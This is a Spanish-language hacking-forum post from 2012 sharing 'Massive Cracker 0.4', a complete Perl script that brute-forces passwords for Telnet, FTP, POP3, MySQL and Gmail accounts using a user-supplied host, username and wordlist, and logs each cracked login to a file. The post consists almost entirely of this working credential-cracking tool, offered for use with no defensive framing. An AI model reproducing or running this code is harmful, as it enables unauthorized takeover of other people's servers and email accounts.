elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Massive Cracker 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Massive Cracker 0.4  (Leído 1,666 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Massive Cracker 0.4
« en: 2 Junio 2012, 21:18 pm »

Nueva version de este programa para crackear el siguiente tipo de cuentas

  • Telnet
  • FTP
  • POP3
  • Mysql
  • Gmail

Tambien le quite la opcion de Hotmail la cual era obsoleta.

El codigo

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.4
  3. #Coded By Doddy H
  4. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  8. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  9. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  10. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  11.  
  12. use Net::FTP;
  13. use Net::POP3;
  14. use Net::Telnet;
  15. use DBI;
  16.  
  17. use Mail::POP3Client;
  18. use IO::Socket::SSL;
  19.  
  20. head();
  21.  
  22. print "[+] Option :  ";
  23. chomp( my $op = <stdin> );
  24.  
  25. if ( $op eq "1" ) {
  26.  
  27.    my ( $host, $user, $word, $time ) = form1();
  28.    my @words = openwordlist( $word, "Telnet" );
  29.  
  30.    for my $pass (@words) {
  31.        chomp $pass;
  32.        sleep($time);
  33.        $telnet = new Net::Telnet( Errmode => "return" );
  34.        $telnet->open($host);
  35.        if ( $telnet->login( $user, $pass ) ) {
  36.            yeah( $host, $user, $pass, "Telnet" );
  37.        }
  38.        $telnet->close;
  39.    }
  40.  
  41.    print "\n[-] Password Not Found\n";
  42.  
  43. }
  44.  
  45. elsif ( $op eq "2" ) {
  46.  
  47.    my ( $host, $user, $word, $time ) = form1();
  48.    my @words = openwordlist( $word, "FTP" );
  49.  
  50.    for my $pass (@words) {
  51.        chomp $pass;
  52.        sleep($time);
  53.        $ftp = Net::FTP->new($host);
  54.        if ( $ftp->login( $user, $pass ) ) {
  55.            yeah( $host, $user, $pass, "FTP" );
  56.        }
  57.        $ftp->quit;
  58.    }
  59.  
  60.    print "\n[-] Password Not Found\n";
  61.  
  62. }
  63. elsif ( $op eq "3" ) {
  64.  
  65.    my ( $host, $user, $word, $time ) = form1();
  66.    my @words = openwordlist( $word, "POP3" );
  67.  
  68.    for my $pass (@words) {
  69.        chomp $pass;
  70.        sleep($time);
  71.        $pop = Net::POP3->new($host);
  72.        if ( $pop->login( $user, $pass ) ) {
  73.            yeah( $host, $user, $pass, "POP3" );
  74.        }
  75.        $pop->quit();
  76.    }
  77.  
  78.    print "\n[-] Password Not Found\n";
  79.  
  80. }
  81.  
  82. elsif ( $op eq "4" ) {
  83.  
  84.    my ( $host, $user, $word, $time ) = form1();
  85.    my @words = openwordlist( $word, "Mysql" );
  86.  
  87.    $target = "dbi:mysql::" . $host . ":3306";
  88.  
  89.    for my $pass (@words) {
  90.        chomp $pass;
  91.        sleep($time);
  92.        if ( my $now =
  93.            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  94.        {
  95.            yeah( $host, $user, $pass, "Mysql" );
  96.        }
  97.    }
  98.  
  99.    print "\n[-] Password Not Found\n";
  100.  
  101. }
  102.  
  103. elsif ( $op eq "5" ) {
  104.  
  105.    my ( $user, $word, $time ) = form2();
  106.    my @words = openwordlist( $word, "Gmail" );
  107.  
  108.    for my $pass (@words) {
  109.        chomp $pass;
  110.        sleep($time);
  111.        my $so = IO::Socket::SSL->new(
  112.            PeerAddr => "pop.gmail.com",
  113.            PeerPort => 995,
  114.            Proto    => "tcp"
  115.        );
  116.  
  117.        my $nave = Mail::POP3Client->new();
  118.  
  119.        $nave->User($user);
  120.        $nave->Pass($pass);
  121.        $nave->Socket($so);
  122.  
  123.        if ( $nave->Connect() ) {
  124.            yeahmail( "Gmail", $user, $pass );
  125.        }
  126.  
  127.        $so->close();
  128.        $nave->close();
  129.    }
  130.    print "\n[-] Password Not Found\n";
  131. }
  132.  
  133. else {
  134.    print "\n\n[+] Bad Option\n";
  135. }
  136.  
  137. copyright();
  138.  
  139. sub yeah {
  140.  
  141.    print "\a\a\n[+] Cracked\n\n";
  142.    print "[+] Host : $_[0]\n";
  143.    print "[+] Username: $_[1]\n";
  144.    print "[+] Password : $_[2]\n";
  145.  
  146.    savefile( "cracked-logs.txt",
  147.        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  148.  
  149.    copyright();
  150.  
  151. }
  152.  
  153. sub yeahmail {
  154.  
  155.    print "\a\a\n[+] Cracked\n\n";
  156.    print "[+] Account Type : $_[0]\n";
  157.    print "[+] Username : $_[1]\n";
  158.    print "[+] Password : $_[2]\n";
  159.  
  160.    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
  161.  
  162.    copyright();
  163.  
  164. }
  165.  
  166. sub openwordlist {
  167.  
  168.    my ( $file, $tipo ) = @_;
  169.  
  170.    print "\n[+] Opening file\n\n";
  171.  
  172.    unless ( -f $file ) {
  173.        print "\n[-] File not found\n";
  174.        copyright();
  175.    }
  176.  
  177.    open( FILE, $file );
  178.    my @words = <FILE>;
  179.    close FILE;
  180.  
  181.    print "[+] Words Found : " . int(@words) . "\n\n";
  182.    print "[+] Cracking service $tipo\n\n";
  183.  
  184.    return @words;
  185.  
  186. }
  187.  
  188. sub savefile {
  189.    open( SAVE, ">>" . $_[0] );
  190.    print SAVE $_[1] . "\n";
  191.    close SAVE;
  192. }
  193.  
  194. sub form1 {
  195.  
  196.    print "\n[+] Host : ";
  197.    chomp( my $host = <stdin> );
  198.    print "\n[+] User : ";
  199.    chomp( my $user = <stdin> );
  200.    print "\n[+] Wordlist : ";
  201.    chomp( my $word = <stdin> );
  202.    print "\n[+] Timeout : ";
  203.    chomp( my $time = <stdin> );
  204.  
  205.    return ( $host, $user, $word, $time );
  206.  
  207. }
  208.  
  209. sub form2 {
  210.    print "\n[+] Email : ";
  211.    chomp( my $email = <stdin> );
  212.    print "\n[+] Wordlist : ";
  213.    chomp( my $word = <stdin> );
  214.    print "\n[+] Timeout : ";
  215.    chomp( my $time = <stdin> );
  216.    return ( $email, $word, $time );
  217.  
  218. }
  219.  
  220. sub head {
  221.    print qq(
  222.  
  223. @     @                                    @@@@                 @            
  224. @     @                                   @    @                @            
  225. @@   @@                                   @                     @            
  226. @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
  227. @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
  228. @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
  229. @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
  230. @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
  231. @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @
  232.  
  233.  
  234.  
  235.  
  236.                                              Coded By Doddy H
  237.  
  238.  
  239.  
  240.  
  241.  
  242. [++] Services
  243.  
  244. [1] : Telnet
  245. [2] : FTP
  246. [3] : POP3
  247. [4] : Mysql
  248. [5] : Gmail
  249.  
  250.  
  251.  
  252. );
  253. }
  254.  
  255. sub copyright {
  256.    print "\n\n(C) Doddy Hackman 2012\n\n";
  257.    <stdin>;
  258.    exit(1);
  259. }
  260.  
  261. #The End ?
  262.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,835 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Pass Cracker By Doddy H
Scripting
BigBear 0 1,440 Último mensaje 8 Octubre 2011, 16:56 pm
por BigBear
[Perl] Hotmail Cracker 0.1 « 1 2 »
Scripting
BigBear 16 7,337 Último mensaje 19 Junio 2012, 13:05 pm
por Saberuneko
[Perl] Gmail Cracker 0.1
Scripting
BigBear 0 2,021 Último mensaje 1 Febrero 2012, 19:25 pm
por BigBear
[Perl Tk] Masive Cracker 0.4
Scripting
BigBear 0 1,577 Último mensaje 2 Junio 2012, 21:18 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines